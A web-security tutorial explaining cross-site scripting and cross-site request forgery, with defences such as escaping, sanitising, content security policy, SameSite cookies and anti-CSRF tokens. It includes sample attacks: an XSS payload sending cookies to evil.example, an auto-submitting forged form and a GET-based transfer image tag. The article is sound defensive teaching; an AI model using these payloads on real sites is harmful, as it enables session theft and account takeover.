XSS and CSRF Explained: How They Work and How to Stop Them
Cross-site scripting and cross-site request forgery explained with examples: how each attack works, how they differ, and the defences that stop them.
· 8 min read
XSS and CSRF are the two attacks every web developer is expected to understand, and they are easy to mix up because both involve "another site" and a logged-in user. They are in fact opposites:
- XSS (cross-site scripting): the attacker's code runs inside your site.
- CSRF (cross-site request forgery): the attacker's site makes the user's browser send a request to your site.
This article explains each with a small example, then shows the defences.
XSS: the attacker's script runs in your page
A browser cannot tell which parts of a page you wrote and which parts came from a user. If your page includes text that a user supplied, and that text contains HTML, the browser treats it as part of the page and runs any script in it.
Suppose a site shows comments like this:
commentBox.innerHTML = comment.text;An attacker posts this "comment":
<img src="x" onerror="fetch('https://evil.example/steal?c=' + document.cookie)">Everyone who views the comment now runs the attacker's code. It runs with the visitor's own login, on your domain, so it can:
- read any data the page can read,
- send requests as the visitor, such as changing their email address,
- read tokens kept in
localStorage, - show a fake login form on your real domain.
The three kinds of XSS
| Kind | Where the malicious text comes from | Example |
|---|---|---|
| Stored | Saved in your database, shown to other users | A comment or profile name containing script |
| Reflected | Part of the request, echoed straight back | A search page that prints ?q= into the HTML |
| DOM-based | Handled entirely by JavaScript in the browser | Code that writes location.hash into the page |
Stored XSS is the most serious, because one post attacks every visitor without any of them clicking anything unusual.
Stopping XSS
1. Insert text as text
The safest fix is never to build HTML from user data. Use the APIs that treat a value as plain text:
// Dangerous: the string is parsed as HTML
commentBox.innerHTML = comment.text;
// Safe: the string is shown exactly as written
commentBox.textContent = comment.text;With textContent, the attacker's <img> tag appears on screen as harmless text.
2. Let the framework escape for you
Template engines and frameworks such as React, Vue, Angular and most server-side templates escape values automatically. Writing {comment.text} in React is safe.
The danger is in the escape hatches, which exist for the rare case where you really need raw HTML:
- React:
dangerouslySetInnerHTML - Vue:
v-html - Angular:
bypassSecurityTrustHtml - Plain JavaScript:
innerHTML,outerHTML,document.write
Treat each use of these as something to justify in code review.
3. Escape for the right context
If you build HTML yourself, escape the characters that have a meaning in HTML:
function escapeHtml(text) {
return String(text)
.replaceAll("&", "&")
.replaceAll("<", "<")
.replaceAll(">", ">")
.replaceAll('"', """)
.replaceAll("'", "'");
}
escapeHtml('<img src=x onerror="alert(1)">');
// <img src=x onerror="alert(1)">The & must be replaced first. Otherwise the & in the other replacements would itself be escaped.
This function is correct for text placed between tags or inside a quoted attribute. Other places have different rules:
| Where the value goes | What to do |
|---|---|
Between tags: <p>VALUE</p> |
HTML-escape it |
In a quoted attribute: title="VALUE" |
HTML-escape it, and always quote the attribute |
In a URL: href="VALUE" |
Allow only http: and https: links. javascript: URLs run code. |
Inside a <script> block |
Avoid it. Put the data in a data- attribute or a JSON response. |
| Inside CSS | Avoid it |
4. Sanitise when you really need user HTML
A rich-text editor produces HTML that you have to display. Escaping would show the tags as text, so instead pass the HTML through a sanitiser, which keeps safe tags such as <b> and removes scripts and event handlers. DOMPurify is the widely used one.
Do not write your own with regular expressions. HTML parsing has too many corners, and every home-made filter has been bypassed.
5. Add a content security policy
A content security policy (CSP) is a response header that tells the browser which scripts are allowed to run. A strict policy blocks inline scripts and scripts from unknown domains, so even if an attacker injects a <script> tag, the browser refuses to run it.
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'A policy is a safety net, not a replacement for escaping. Use both.
6. Limit the damage
- Mark session cookies
HttpOnly, so a script cannot read them. - Keep tokens out of
localStorage. See access token best practices.
CSRF: your site receives a request the user did not intend
CSRF uses a different weakness: browsers attach cookies to a request automatically, whichever site caused the request.
Suppose a bank changes a user's email address with this request:
POST /account/email
Cookie: session=abc123
email=new@example.comThe user is logged in to the bank in one tab. In another tab they open a page the attacker controls, which contains:
<form action="https://bank.example/account/email" method="post">
<input type="hidden" name="email" value="attacker@evil.example" />
</form>
<script>
document.forms[0].submit();
</script>The form submits itself. The browser sends the request to the bank with the user's session cookie, and the bank sees a valid, logged-in request. The email address is changed, and the attacker can now use "forgot password" to take the account.
Notice what the attacker did not do. They never saw the cookie and never ran code on the bank's site. They only caused a request to be sent.
Stopping CSRF
1. SameSite cookies
The SameSite cookie attribute tells the browser when to attach a cookie to a request that another site started.
| Value | Cookie is sent on cross-site requests? |
|---|---|
Strict |
Never |
Lax |
Only when the user follows a normal link to your site, not on form posts or background requests |
None |
Always (requires Secure) |
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=LaxWith Lax, the forged form post above arrives without the session cookie, so it fails. Set the attribute explicitly instead of relying on the browser's default.
2. Anti-CSRF tokens
The classic defence is a secret value that the attacker's page cannot know.
- The server generates a random token and ties it to the user's session.
- It includes the token in every form, as a hidden field, or in a header for JavaScript requests.
- On every request that changes data, the server checks that the token is present and correct.
<form action="/account/email" method="post">
<input type="hidden" name="csrf_token" value="k2J9...random...x8Qa" />
<input type="email" name="email" />
<button type="submit">Save</button>
</form>The attacker's page can make the browser send a request, but it cannot read your pages, so it cannot learn the token to include. Most web frameworks provide this, and you only need to switch it on.
3. Never change data with GET
A GET request can be triggered by something as simple as an image tag:
<img src="https://bank.example/transfer?to=attacker&amount=1000" />GET should only read. Use POST, PUT, PATCH or DELETE for anything that changes state, so the defences above apply.
4. Check where the request came from
For a request that changes data, the server can compare the Origin header with its own address and reject a mismatch. This is a useful extra check alongside tokens.
5. Confirm sensitive actions again
Ask for the password, or a second factor, before changing an email address, changing a password or moving money. A forged request cannot supply it.
What about APIs that use a bearer token?
If an API authenticates with an Authorization: Bearer header and not with cookies, it is not exposed to classic CSRF. The browser does not add that header by itself, so another site cannot make the user's browser send it.
That does not make the header approach automatically better. The token has to be stored somewhere JavaScript can reach it, which makes XSS more damaging. Each choice trades one risk for another:
| How the browser authenticates | CSRF | If XSS happens |
|---|---|---|
HttpOnly cookie |
Needs defending | The attacker can act, but cannot take the cookie away |
Token in localStorage |
Not an issue | The attacker can copy the token and use it elsewhere |
XSS and CSRF side by side
| XSS | CSRF | |
|---|---|---|
| Where the attacker's code runs | On your site | On their site |
| What it abuses | Your page trusting user content | Your server trusting the browser's cookies |
| Can the attacker read responses? | Yes | No |
| Main defences | Output escaping, sanitising, content security policy | SameSite cookies, anti-CSRF tokens |
One relationship is worth remembering: XSS defeats CSRF protection. A script running in your page can read the anti-CSRF token from the form and send it along. So preventing XSS comes first, and CSRF defences sit on top of it.
Checklist
XSS
- Insert user content with
textContentor framework templating, notinnerHTML. - Review every use of a raw-HTML escape hatch.
- Sanitise user-written HTML with a maintained library.
- Allow only
http:andhttps:in user-supplied links. - Send a content security policy.
- Mark cookies
HttpOnly.
CSRF
- Set
SameSite=LaxorStricton session cookies. - Require an anti-CSRF token on every state-changing request.
- Never change data on a
GET. - Check the
Originheader. - Re-authenticate for sensitive actions.
For the wider picture, see how to secure a website.
Further reading
- OWASP Cross Site Scripting Prevention Cheat Sheet: escaping rules for each context.
- OWASP Cross-Site Request Forgery Prevention Cheat Sheet: token patterns in detail.
- MDN: Set-Cookie: every cookie attribute, including
SameSite.